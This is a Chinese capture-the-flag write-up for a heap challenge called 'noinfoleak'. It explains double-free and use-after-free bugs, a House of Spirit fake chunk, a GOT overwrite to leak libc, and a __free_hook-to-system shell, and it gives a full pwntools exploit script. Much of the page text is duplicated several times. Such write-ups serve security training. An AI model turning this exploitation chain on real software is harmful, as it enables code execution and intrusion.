-
-
[原创]2019-西湖论剑 noinfoleak
-
发表于: 2019-4-8 09:56
-
UAF
double free
结构体很简单，在bss段中的list列表中，一项16字节，前8个字节存放堆指针，后8个字节存放可写的大小。限制堆的大小最大为0x7f，刚好能形成0x90实际大小的chunk，free后可以放入unsortedbin
got、plt的延迟机制
House of Spirit
[*] '/home/leo/Desktop/xihu/noinfoleak' Arch: amd64-64-little RELRO: Partial RELRO //got表可写 Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) //随机地址没开
程序逻辑
1、
void add()
{
signed int i; // [rsp+8h] [rbp-8h]
int len; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i )
{
if ( !list[2 * i] )
{
putchar('>');
len = read_number();
if ( len > 0 && len <= 0x7F ) //限制size
{
list[2 * i + 1] = (void *)len;
list[2 * i] = malloc(len + 1);
putchar('>');
read(0, list[2 * i], len);
}
return;
}
}
}结构体很简单，在bss段中的list列表中，一项16字节，前8个字节存放堆指针，后8个字节存放可写的大小。限制堆的大小最大为0x7f，刚好能形成0x90实际大小的chunk，free后可以放入unsortedbin
2、
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
putchar(62);
v0 = read_number();
if ( v0 >= 0 && v0 <= 15 )
free(list[2 * v0]); //double free
}free后没有清空指针，存在double free漏洞
3、
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}在读入数据之前，没有检查list中该项是否已经free，存在use after free漏洞
可以发现，程序逻辑中没有输出功能的函数，这也是这题的难点，也算比较典型的一种no information leak的题目了（正如题目名称一样）
利用思路
1、任意读和任意写经常是pwn题getshell的两个条件（如果能同时满足任意读写，就基本上能主宰一切hhh，这时可以说就是GOD了，这也是做Pwn的一个乐趣）既然读不了，那先看看我能不能任意写。程序逻辑中存在很多漏洞，第一种方法可以通过double free改写fd，第二种方法直接利用UAF写fd。这里我采用第二种方法，比较简单（其实都不难）。
2、写fd要写到哪里，malloc的时候还得检查大小。。
按照经验，可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d，将这个fake_chunk放入fastbin中，接下来malloc分配到这个地址。这种技术叫做
House of Spirit 。
House of Spirit
实现的最终效果，也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址，将伪chunk放入fastbin，进而使随后的malloc返回此伪chunk
。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了，接下来怎么读呢？第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中，再将其puts出来。听说还有第二种方法是爆破半个字节的libc（1/16几率命中），分配到stdout中改写_IO_write_base指针来leak libc，期待大佬wp。
具体实现
第一步：任意写
lis = 0x6010a0 #leak libc_base add(0x5f,'a'*0x10)#0 add(0x5f,'a'*0x10)#1 add(0x7f,'\x11'*0x7f)#2 add(0x10,'leo')#3 dele(2) dele(0) dele(1) fake_size_addr = 0x601095 edit(1,p64(fake_size_addr-8)) #改fd pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2 add(0x5f,'/bin/sh\x00')#4 add(0x7f,'\x78')#5 add(0x5f,pay)#6
创建4个chunk，其中size为0x7f的chunk2是用来free的，以便在puts的时候输出libc；chunk3是用来防止free的时候与top chunk合并的。
delete之后，fastbin的头部应该是chunk1，通过利用UAF改fd分配到fake_chunk，然后分配两次0x5f，第二次将fake_chunk分配出来。
分配前：
第一次分配后：
第二次分配后：
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
（以上截图分别启动程序调试得到的结果，因此一些地址信息是不一样的）
可以发现chunk1和chunk2都指向list，并且size都很大，实现任意写O(∩_∩)O
第二步：leak libc
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))通过edit chunk2的内容改写chunk0的指针为free的got地址，然后往got表中写puts的plt地址
下次调用free的时候的流程是：free->free_got->puts_plt->puts。也就是，调用free函数，会先找free_got中的指针是否已经绑定为实际内存中free的函数指针（延迟绑定机制），如果没有，就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址，并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。
第三步：为所欲为
剩下的就很简单了，改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针，否则不能触发free_hook。
EXP
from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
#context.log_level='debug'
cn=process('./noinfoleak')
elf=ELF('./noinfoleak')
#libc=ELF('./libc-2.23.so')
libc=elf.libc
s = lambda data :cn.send(str(data))
sa = lambda delim,data :cn.sendafter(str(delim), str(data))
st = lambda delim,data :cn.sendthen(str(delim), str(data))
sl = lambda data :cn.sendline(str(data))
sla = lambda delim,data :cn.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :cn.recv(numb)
rl = lambda :cn.recvline()
ru = lambda delims :cn.recvuntil(delims)
irt = lambda :cn.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def add(size,value):
ru('>')
sl(1)
ru('>')
sl(size)
ru('>')
s(value)
def dele(ind):
ru('>')
sl(2)
ru('>')
sl(ind)
def edit(ind,value):
ru('>')
sl(3)
#sla('>',3)
sla('>',ind)
sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()
1、
void add()
{
signed int i; // [rsp+8h] [rbp-8h]
int len; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i )
{
if ( !list[2 * i] )
{
putchar('>');
len = read_number();
if ( len > 0 && len <= 0x7F ) //限制size
{
list[2 * i + 1] = (void *)len;
list[2 * i] = malloc(len + 1);
putchar('>');
read(0, list[2 * i], len);
}
return;
}
}
}结构体很简单，在bss段中的list列表中，一项16字节，前8个字节存放堆指针，后8个字节存放可写的大小。限制堆的大小最大为0x7f，刚好能形成0x90实际大小的chunk，free后可以放入unsortedbin
2、
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
putchar(62);
v0 = read_number();
if ( v0 >= 0 && v0 <= 15 )
free(list[2 * v0]); //double free
}free后没有清空指针，存在double free漏洞
3、
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}在读入数据之前，没有检查list中该项是否已经free，存在use after free漏洞
可以发现，程序逻辑中没有输出功能的函数，这也是这题的难点，也算比较典型的一种no information leak的题目了（正如题目名称一样）
利用思路
1、任意读和任意写经常是pwn题getshell的两个条件（如果能同时满足任意读写，就基本上能主宰一切hhh，这时可以说就是GOD了，这也是做Pwn的一个乐趣）既然读不了，那先看看我能不能任意写。程序逻辑中存在很多漏洞，第一种方法可以通过double free改写fd，第二种方法直接利用UAF写fd。这里我采用第二种方法，比较简单（其实都不难）。
2、写fd要写到哪里，malloc的时候还得检查大小。。
按照经验，可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d，将这个fake_chunk放入fastbin中，接下来malloc分配到这个地址。这种技术叫做
House of Spirit 。
House of Spirit
实现的最终效果，也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址，将伪chunk放入fastbin，进而使随后的malloc返回此伪chunk
。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了，接下来怎么读呢？第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中，再将其puts出来。听说还有第二种方法是爆破半个字节的libc（1/16几率命中），分配到stdout中改写_IO_write_base指针来leak libc，期待大佬wp。
具体实现
第一步：任意写
lis = 0x6010a0 #leak libc_base add(0x5f,'a'*0x10)#0 add(0x5f,'a'*0x10)#1 add(0x7f,'\x11'*0x7f)#2 add(0x10,'leo')#3 dele(2) dele(0) dele(1) fake_size_addr = 0x601095 edit(1,p64(fake_size_addr-8)) #改fd pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2 add(0x5f,'/bin/sh\x00')#4 add(0x7f,'\x78')#5 add(0x5f,pay)#6
创建4个chunk，其中size为0x7f的chunk2是用来free的，以便在puts的时候输出libc；chunk3是用来防止free的时候与top chunk合并的。
delete之后，fastbin的头部应该是chunk1，通过利用UAF改fd分配到fake_chunk，然后分配两次0x5f，第二次将fake_chunk分配出来。
分配前：
第一次分配后：
第二次分配后：
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
（以上截图分别启动程序调试得到的结果，因此一些地址信息是不一样的）
可以发现chunk1和chunk2都指向list，并且size都很大，实现任意写O(∩_∩)O
第二步：leak libc
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))通过edit chunk2的内容改写chunk0的指针为free的got地址，然后往got表中写puts的plt地址
下次调用free的时候的流程是：free->free_got->puts_plt->puts。也就是，调用free函数，会先找free_got中的指针是否已经绑定为实际内存中free的函数指针（延迟绑定机制），如果没有，就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址，并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。
第三步：为所欲为
剩下的就很简单了，改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针，否则不能触发free_hook。
EXP
from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
#context.log_level='debug'
cn=process('./noinfoleak')
elf=ELF('./noinfoleak')
#libc=ELF('./libc-2.23.so')
libc=elf.libc
s = lambda data :cn.send(str(data))
sa = lambda delim,data :cn.sendafter(str(delim), str(data))
st = lambda delim,data :cn.sendthen(str(delim), str(data))
sl = lambda data :cn.sendline(str(data))
sla = lambda delim,data :cn.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :cn.recv(numb)
rl = lambda :cn.recvline()
ru = lambda delims :cn.recvuntil(delims)
irt = lambda :cn.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def add(size,value):
ru('>')
sl(1)
ru('>')
sl(size)
ru('>')
s(value)
def dele(ind):
ru('>')
sl(2)
ru('>')
sl(ind)
def edit(ind,value):
ru('>')
sl(3)
#sla('>',3)
sla('>',ind)
sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()
void add()
{
signed int i; // [rsp+8h] [rbp-8h]
int len; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i )
{
if ( !list[2 * i] )
{
putchar('>');
len = read_number();
if ( len > 0 && len <= 0x7F ) //限制size
{
list[2 * i + 1] = (void *)len;
list[2 * i] = malloc(len + 1);
putchar('>');
read(0, list[2 * i], len);
}
return;
}
}
}结构体很简单，在bss段中的list列表中，一项16字节，前8个字节存放堆指针，后8个字节存放可写的大小。限制堆的大小最大为0x7f，刚好能形成0x90实际大小的chunk，free后可以放入unsortedbin
2、
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
putchar(62);
v0 = read_number();
if ( v0 >= 0 && v0 <= 15 )
free(list[2 * v0]); //double free
}free后没有清空指针，存在double free漏洞
3、
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}在读入数据之前，没有检查list中该项是否已经free，存在use after free漏洞
可以发现，程序逻辑中没有输出功能的函数，这也是这题的难点，也算比较典型的一种no information leak的题目了（正如题目名称一样）
利用思路
1、任意读和任意写经常是pwn题getshell的两个条件（如果能同时满足任意读写，就基本上能主宰一切hhh，这时可以说就是GOD了，这也是做Pwn的一个乐趣）既然读不了，那先看看我能不能任意写。程序逻辑中存在很多漏洞，第一种方法可以通过double free改写fd，第二种方法直接利用UAF写fd。这里我采用第二种方法，比较简单（其实都不难）。
2、写fd要写到哪里，malloc的时候还得检查大小。。
按照经验，可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d，将这个fake_chunk放入fastbin中，接下来malloc分配到这个地址。这种技术叫做
House of Spirit 。
House of Spirit
实现的最终效果，也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址，将伪chunk放入fastbin，进而使随后的malloc返回此伪chunk
。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了，接下来怎么读呢？第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中，再将其puts出来。听说还有第二种方法是爆破半个字节的libc（1/16几率命中），分配到stdout中改写_IO_write_base指针来leak libc，期待大佬wp。
具体实现
第一步：任意写
lis = 0x6010a0 #leak libc_base add(0x5f,'a'*0x10)#0 add(0x5f,'a'*0x10)#1 add(0x7f,'\x11'*0x7f)#2 add(0x10,'leo')#3 dele(2) dele(0) dele(1) fake_size_addr = 0x601095 edit(1,p64(fake_size_addr-8)) #改fd pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2 add(0x5f,'/bin/sh\x00')#4 add(0x7f,'\x78')#5 add(0x5f,pay)#6
创建4个chunk，其中size为0x7f的chunk2是用来free的，以便在puts的时候输出libc；chunk3是用来防止free的时候与top chunk合并的。
delete之后，fastbin的头部应该是chunk1，通过利用UAF改fd分配到fake_chunk，然后分配两次0x5f，第二次将fake_chunk分配出来。
分配前：
第一次分配后：
第二次分配后：
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
（以上截图分别启动程序调试得到的结果，因此一些地址信息是不一样的）
可以发现chunk1和chunk2都指向list，并且size都很大，实现任意写O(∩_∩)O
第二步：leak libc
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))通过edit chunk2的内容改写chunk0的指针为free的got地址，然后往got表中写puts的plt地址
下次调用free的时候的流程是：free->free_got->puts_plt->puts。也就是，调用free函数，会先找free_got中的指针是否已经绑定为实际内存中free的函数指针（延迟绑定机制），如果没有，就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址，并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。
第三步：为所欲为
剩下的就很简单了，改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针，否则不能触发free_hook。
EXP
from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
#context.log_level='debug'
cn=process('./noinfoleak')
elf=ELF('./noinfoleak')
#libc=ELF('./libc-2.23.so')
libc=elf.libc
s = lambda data :cn.send(str(data))
sa = lambda delim,data :cn.sendafter(str(delim), str(data))
st = lambda delim,data :cn.sendthen(str(delim), str(data))
sl = lambda data :cn.sendline(str(data))
sla = lambda delim,data :cn.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :cn.recv(numb)
rl = lambda :cn.recvline()
ru = lambda delims :cn.recvuntil(delims)
irt = lambda :cn.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def add(size,value):
ru('>')
sl(1)
ru('>')
sl(size)
ru('>')
s(value)
def dele(ind):
ru('>')
sl(2)
ru('>')
sl(ind)
def edit(ind,value):
ru('>')
sl(3)
#sla('>',3)
sla('>',ind)
sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
putchar(62);
v0 = read_number();
if ( v0 >= 0 && v0 <= 15 )
free(list[2 * v0]); //double free
}free后没有清空指针，存在double free漏洞
3、
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}在读入数据之前，没有检查list中该项是否已经free，存在use after free漏洞
可以发现，程序逻辑中没有输出功能的函数，这也是这题的难点，也算比较典型的一种no information leak的题目了（正如题目名称一样）
利用思路
1、任意读和任意写经常是pwn题getshell的两个条件（如果能同时满足任意读写，就基本上能主宰一切hhh，这时可以说就是GOD了，这也是做Pwn的一个乐趣）既然读不了，那先看看我能不能任意写。程序逻辑中存在很多漏洞，第一种方法可以通过double free改写fd，第二种方法直接利用UAF写fd。这里我采用第二种方法，比较简单（其实都不难）。
2、写fd要写到哪里，malloc的时候还得检查大小。。
按照经验，可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d，将这个fake_chunk放入fastbin中，接下来malloc分配到这个地址。这种技术叫做
House of Spirit 。
House of Spirit
实现的最终效果，也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址，将伪chunk放入fastbin，进而使随后的malloc返回此伪chunk
。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了，接下来怎么读呢？第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中，再将其puts出来。听说还有第二种方法是爆破半个字节的libc（1/16几率命中），分配到stdout中改写_IO_write_base指针来leak libc，期待大佬wp。
具体实现
第一步：任意写
lis = 0x6010a0 #leak libc_base add(0x5f,'a'*0x10)#0 add(0x5f,'a'*0x10)#1 add(0x7f,'\x11'*0x7f)#2 add(0x10,'leo')#3 dele(2) dele(0) dele(1) fake_size_addr = 0x601095 edit(1,p64(fake_size_addr-8)) #改fd pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2 add(0x5f,'/bin/sh\x00')#4 add(0x7f,'\x78')#5 add(0x5f,pay)#6
创建4个chunk，其中size为0x7f的chunk2是用来free的，以便在puts的时候输出libc；chunk3是用来防止free的时候与top chunk合并的。
delete之后，fastbin的头部应该是chunk1，通过利用UAF改fd分配到fake_chunk，然后分配两次0x5f，第二次将fake_chunk分配出来。
分配前：
第一次分配后：
第二次分配后：
破坏了fastbin头不链表后不能再分配0x70实际大小的chunk了。。
（以上截图分别启动程序调试得到的结果，因此一些地址信息是不一样的）
可以发现chunk1和chunk2都指向list，并且size都很大，实现任意写O(∩_∩)O
第二步：leak libc
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))通过edit chunk2的内容改写chunk0的指针为free的got地址，然后往got表中写puts的plt地址
下次调用free的时候的流程是：free->free_got->puts_plt->puts。也就是，调用free函数，会先找free_got中的指针是否已经绑定为实际内存中free的函数指针（延迟绑定机制），如果没有，就根据got表中plt的地址调用_dl_runtime_resolve函数去找函数地址，并将函数地址写入got表。最后实际上会将puts的函数指针写到free的got表中。
第三步：为所欲为
剩下的就很简单了，改__free_hook为system。但有一点要注意就是把free的got改回free的函数指针，否则不能触发free_hook。
EXP
from pwn import *
context.os='Linux'
#context.arch='amd64'
debug = 1
if debug:
#context.log_level='debug'
cn=process('./noinfoleak')
elf=ELF('./noinfoleak')
#libc=ELF('./libc-2.23.so')
libc=elf.libc
s = lambda data :cn.send(str(data))
sa = lambda delim,data :cn.sendafter(str(delim), str(data))
st = lambda delim,data :cn.sendthen(str(delim), str(data))
sl = lambda data :cn.sendline(str(data))
sla = lambda delim,data :cn.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :cn.recv(numb)
rl = lambda :cn.recvline()
ru = lambda delims :cn.recvuntil(delims)
irt = lambda :cn.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def add(size,value):
ru('>')
sl(1)
ru('>')
sl(size)
ru('>')
s(value)
def dele(ind):
ru('>')
sl(2)
ru('>')
sl(ind)
def edit(ind,value):
ru('>')
sl(3)
#sla('>',3)
sla('>',ind)
sa('>',value)
lis = 0x6010a0
#leak libc_base
add(0x5f,'a'*0x10)#0
add(0x5f,'a'*0x10)#1
add(0x7f,'\x11'*0x7f)#2
add(0x10,'leo')#3
dele(2)
dele(0)
dele(1)
fake_size_addr = 0x601095
edit(1,p64(fake_size_addr-8))
pay='\x00'*3+p64(0)*2+p64(lis)*2+p64(lis)*2
add(0x5f,'/bin/sh\x00')#4
add(0x7f,'\x78')#5
add(0x5f,pay)#6
edit(2,p64(elf.got['free'])+p64(0x100))#chunk0
edit(0,p64(elf.plt['puts']))
dele(5)
libc_base = uu64(r(6))-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
sys = libc_base + libc.symbols['system']
free_hook = libc.symbols['__free_hook']+libc_base
free = libc.symbols['free']+libc_base
success('free= {}'.format(hex(free)))
edit(0,p64(free))
edit(2,p64(free_hook))#chunk0
edit(0,p64(sys))
dele(4)
irt()
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
putchar(62);
v0 = read_number();
if ( v0 >= 0 && v0 <= 15 )
free(list[2 * v0]); //double free
}free后没有清空指针，存在double free漏洞
3、
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}在读入数据之前，没有检查list中该项是否已经free，存在use after free漏洞
可以发现，程序逻辑中没有输出功能的函数，这也是这题的难点，也算比较典型的一种no information leak的题目了（正如题目名称一样）
利用思路
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = read_number();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, list[2 * v1], (size_t)list[2 * v1 + 1]); //UAF
}
return result;
}在读入数据之前，没有检查list中该项是否已经free，存在use after free漏洞
可以发现，程序逻辑中没有输出功能的函数，这也是这题的难点，也算比较典型的一种no information leak的题目了（正如题目名称一样）
利用思路
1、任意读和任意写经常是pwn题getshell的两个条件（如果能同时满足任意读写，就基本上能主宰一切hhh，这时可以说就是GOD了，这也是做Pwn的一个乐趣）既然读不了，那先看看我能不能任意写。程序逻辑中存在很多漏洞，第一种方法可以通过double free改写fd，第二种方法直接利用UAF写fd。这里我采用第二种方法，比较简单（其实都不难）。
2、写fd要写到哪里，malloc的时候还得检查大小。。
按照经验，可以发现这里有个0x7f的fake_chunk。我们就可以将fd写成0x60108d，将这个fake_chunk放入fastbin中，接下来malloc分配到这个地址。这种技术叫做
House of Spirit 。
House of Spirit
实现的最终效果，也是使攻击者构造的伪chunk通过fastbin被malloc返回。House of Spirit是通过篡改free的目标地址，将伪chunk放入fastbin，进而使随后的malloc返回此伪chunk
。可以发现这就可以控制List列表的内容从而实现任意写了。
3、现在能任意写了，接下来怎么读呢？第一种方法是将free的got表改为puts。在这之前先将一个chunk放入unsortedbin中，再将其puts出来。听说还有第二种方法是爆破半个字节的libc（1/16几率命中），分配到stdout中改写_IO_write_base指针来leak libc，期待大佬wp。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
最后于 2019-8-31 10:23
被Snowleo编辑
，原因：
我刚好用的第二种解
Editor
wx__y
